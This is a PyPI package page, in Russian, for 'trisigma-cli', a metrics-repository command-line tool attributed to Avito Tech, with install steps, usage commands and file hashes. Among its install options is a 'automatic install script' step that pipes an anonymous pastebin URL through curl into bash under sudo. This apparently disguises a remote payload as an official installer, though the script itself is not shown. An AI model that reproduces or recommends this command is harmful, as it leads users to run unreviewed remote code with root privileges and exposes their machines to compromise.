Skip to main content

Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.

Project description

trisigma-cli

PyPI version Python

Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.

Установка

Быстрая установка через pip

pip install trisigma-cli

Установка через pipx (рекомендуется)

pipx автоматически управляет PATH и изолирует зависимости:

pip install pipx
pipx ensurepath
pipx install trisigma-cli

Автоматический установочный скрипт (macOS/Linux)

Скрипт автоматически найдет Python, установит CLI и настроит PATH:

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Что делает скрипт:

  • Найдет лучшую доступную версию Python (3.9-3.13)
  • Установит CLI через pipx (или pip если pipx недоступен)
  • Настроит PATH для вашего shell (zsh/bash)
  • Проверит корректность установки

Установка из корпоративного PyPI (Avito)

Если вы работаете внутри корпоративной сети Avito:

pipx install trisigma-cli --pip-args="--index-url https://pypi.k.avito.ru/simple/"
# или через pip
PIP_INDEX_URL=https://pypi.k.avito.ru/simple/ pip install trisigma-cli

Важно для Python 3.9 на macOS: После установки через pip добавьте в ~/.zshrc:

export PATH="$HOME/Library/Python/3.9/bin:$PATH"

Затем перезагрузите shell:

source ~/.zshrc

Требования

  • Python 3.9-3.13 (Python 3.14 пока не поддерживается)
  • macOS, Linux или Windows (WSL)

Проверка установки

После установки запустите:

trisigma --version

Если команда не найдена, убедитесь что директория со скриптами Python добавлена в PATH.

Начало работы

Инициализация CLI с OAuth авторизацией:

trisigma init

Команда откроет браузер для авторизации и автоматически сохранит все необходимые настройки.

Использование

trisigma                        # Запуск интерактивного режима (TUI)
trisigma sl validate            # Валидация репозитория метрик
trisigma sl compile -s source   # Компиляция SQL для источника
trisigma sl task AB-1234        # Создание ветки для задачи
trisigma sl save -m "message"   # Сохранение изменений
trisigma sl publish             # Публикация изменений и создание PR

Полный список команд доступен через trisigma --help.

Лицензия

Этот проект лицензирован в соответствии с проприетарным лицензионным соглашением ООО «Авито Тех». См. файл LICENSE для подробностей.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

trisigma_cli-0.1.2.tar.gz (135.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

trisigma_cli-0.1.2-py3-none-any.whl (181.0 kB view details)

Uploaded Python 3

File details

Details for the file trisigma_cli-0.1.2.tar.gz.

File metadata

  • Download URL: trisigma_cli-0.1.2.tar.gz
  • Upload date:
  • Size: 135.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0

File hashes

Hashes for trisigma_cli-0.1.2.tar.gz
Algorithm Hash digest
SHA256 04b1f83a096b0b666a2ca2e1c688d4568aebc890203af94945f450d6b0aa72f8
MD5 f9f0c1c12af24ce4e74e4223903f5314
BLAKE2b-256 6d93df28d85ba8aef382e160cbf85c9532eb6f4d925bd432d7664bc3227d5e7f

See more details on using hashes here.

File details

Details for the file trisigma_cli-0.1.2-py3-none-any.whl.

File metadata

  • Download URL: trisigma_cli-0.1.2-py3-none-any.whl
  • Upload date:
  • Size: 181.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0

File hashes

Hashes for trisigma_cli-0.1.2-py3-none-any.whl
Algorithm Hash digest
SHA256 54bbab63294f04282dd8a70aa746bfc8752962bd816ec96068401938008c732b
MD5 535945c3bb1568e37011f6da71779bc4
BLAKE2b-256 6aea8e2ebaa37745af262ecc95fee873a49491d82fbc27690a610940d1d8af88

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page